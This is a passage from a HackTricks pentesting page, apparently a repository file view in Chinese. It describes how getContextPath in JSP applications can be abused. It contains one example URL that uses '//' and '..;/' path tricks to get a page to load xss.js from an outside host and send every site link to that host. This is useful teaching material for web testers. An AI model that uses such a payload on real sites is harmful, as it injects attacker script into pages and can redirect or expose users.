hacktricks/network-services-pentesting/pentesting-web/jsp.md
2023-08-03 19:12:22 +00:00

3.4 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

getContextPath 滥用

来自这里的信息。

http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp

访问该网站您可以将所有链接更改为请求信息到_rakeshmane.com_

\

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥